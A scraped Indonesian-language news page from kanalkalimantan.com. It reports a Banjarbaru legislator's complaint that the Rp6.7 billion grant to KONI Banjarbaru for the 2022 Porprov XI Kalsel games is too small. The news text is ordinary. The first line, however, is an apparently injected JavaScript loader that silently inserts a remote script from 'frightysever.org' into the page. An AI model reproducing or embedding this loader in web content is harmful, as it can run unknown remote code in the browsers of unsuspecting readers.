(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Anggaran Komite Olahraga Nasional (KONI) Kota Banjarbaru menghadapi Pekan Olahraga Provinsi (Porprov) XI Kalimantan Selatan di Hulu Sungai Selatan menjadi sorotan legislatif.
Bagaimana tidak dalam Porprov XI Kalsel, KONI Banjarbaru mendapat dana hibah dari APBD Pemerintah Kota Banjarbaru sebesar Rp6,7 miliar, namun dikatakan masih kurang dalam melakukan pembinaan dan pemenuhan kelengkapan penunjang atlet.
Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru, Gusti Rizky Sukma Iskandar Putera menyebut dengan dana Rp6,7 miliar masih sangat kurang optimal.
“Untuk optimalisasi cabor sendiri, terakhir badan anggaran yang kami diajukan sekitar 8 miliar, itu sudah kami hitung dan cukup untuk menunjang atlet-atlet yang akan bertanding di Porprov,” bebernya.
Baca juga: Warga Protes Jalan ‘Bubur’ yang Amburadul, Dana Proyek Rp74 M Terancam Menguap
Menurut Gusti Rizky –biasa disapa- anggaran sebesar Rp 6,7 miliar masih terbilang sangat minim, mengingat banyak cabor yang dibina KONI Kota Banjarbaru, serta persiapan fasilitas bagi semua cabor untuk mengikuti Porprov XI 2022 di HSS.
“Salah satu penyebab prestasi olahraga kurang maksimal adalah minimnya alokasi dana untuk mendukung kegiatan,” ungkapnya.
DPRD Kota Banjarbaru, kata Gusti Rizky terus berkoordinasi dengan Pemko Banjarbaru serta mendukung sepenuhnya anggaran KONI Banjarbaru menghadapi Porprov XI Kalsel 2022.
Anggaran sangat berperan penting dalam peningkatan kualitas atlet, salah satunya untuk melengkapi fasilitas pelatihan dan memaksimalkan perencanaan. Apalagi tak ada prestasi yang dapat diraih dengan cara instan.
“Porprov ini bisa dijadikan momentum untuk menyaring atlet berprestasi dan melihat cabor mana saja yang potensial,” tambah politikus Golkar ini.
Sudah seharusnya pemerintah memberikan prioritas dan fokus pada atlet dan cabor yang menunjukkan prestasi. Pembinaan harus dilakukan sejak awal, bukannya ketika akan ada kompetisi baru latihan dikebut.
“Kita lihat nanti, apa akan dioptimalkan atau sekadarnya saja. Jangan berharap banyak prestasi olahraga Banjarbaru meningkat, jika anggarannya saja minim,” pungkasnya. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Geger penemuan tulang belulang diduga kerangka manusia terjadi di Jalan Sidomulyo Permai,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Penyidikan dugaan penyalahgunaan wewenang dan penyelewengan dana kegiatan milik Balai Konservasi Sumber… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur diwakili Sekretaris Daerah Kabupaten Banjar H Yudi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Apel Hari Kesadaran Nasional dilaksanakan oleh Pemerintah Kabupaten Banjar di halaman Kantor… Read More
KANALKALIMANTAN.COM, BANJARBARU – Belum ada keterangan resmi atau pun tersangka yang ditetapkan Kejati Kalsel pada… Read More
KANALKALIMANTAN.COM - Ajang penghargaan musik paling bergengsi di Tanah Air kembali hadir. Indonesian Music Awards… Read More
This website uses cookies.